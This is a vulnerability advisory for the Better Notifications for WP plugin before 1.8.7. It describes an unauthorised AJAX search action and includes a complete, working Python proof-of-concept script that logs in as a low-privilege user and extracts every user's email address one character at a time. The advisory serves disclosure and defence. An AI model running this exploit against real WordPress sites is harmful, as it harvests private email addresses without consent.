WordPress Plugin Vulnerabilities

Better Notifications for WP < 1.8.7 - Email Address Disclosure

Description

The plugin does not have authorisation and CSRF check in its bnfw_search_users AJAX action, allowing any authenticated users to call it and query for user e-mail prefixes (finding the first letter, then the second one, then the third one etc.).

Proof of Concept

import sys
import string
import urllib.parse

import requests

BASE_URL = "http://127.0.0.1:8001/"
USERNAME = "subscriber"
PASSWORD = "subscriber"

# This exploit doesn't detect stars in e-mail addresses.
EMAIL_CHARSET = (
    "".join([x for x in string.ascii_letters if x == x.lower()])
    + string.digits
    + "!#$%&'+-/=?^_`{|}~.@:"
)


with requests.Session() as s:
    cookies = {"wordpress_test_cookie": "WP Cookie check"}
    data = {
        "log": USERNAME,
        "pwd": PASSWORD,
        "wp-submit": "Log In",
        "redirect_to": BASE_URL,
        "testcookie": "1",
    }
    response = s.post(BASE_URL + "wp-login.php", cookies=cookies, data=data)

    def get_users_by_query(query: str) -> dict:
        response = s.get(
            BASE_URL
            + "/wp-admin/admin-ajax.php?action=bnfw_search_users&query="
            + urllib.parse.quote(query)
        )
        response_decoded = response.json()
        for item in response_decoded:
            if item["text"] == "Users":
                return item["children"]

    USERS = {}

    for user in get_users_by_query(""):
        USERS[user["id"]] = user["text"]

    for user_id, user_name in USERS.items():
        print(f"Getting e-mail of {user_name}... :")

        email_candidates = [""]
        finished_candidates = []
        while len(email_candidates) > 0:
            new_candidates = []
            for candidate in email_candidates:
                found = False
                for char in EMAIL_CHARSET:
                    for item in get_users_by_query(candidate + char):
                        if item["id"] == user_id:
                            new_candidates.append(candidate + char)
                            found = True
                if not found:
                    finished_candidates.append(candidate)
            email_candidates = [
                candidate
                for candidate in new_candidates
                if not candidate.startswith(user_id + ".")
                and not candidate.startswith("http:")
            ]
            print("candidates: ", email_candidates + finished_candidates)
        print([candidate for candidate in email_candidates + finished_candidates if "@" in candidate])

Affects Plugins

Fixed in 1.8.7

References

Classification

Type
NO AUTHORISATION
CWE

Miscellaneous

Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Verified
Yes

Timeline

Publicly Published
2022-01-31 (about 2 years ago)
Added
2022-01-31 (about 2 years ago)
Last Updated
2023-07-24 (about 9 months ago)

Other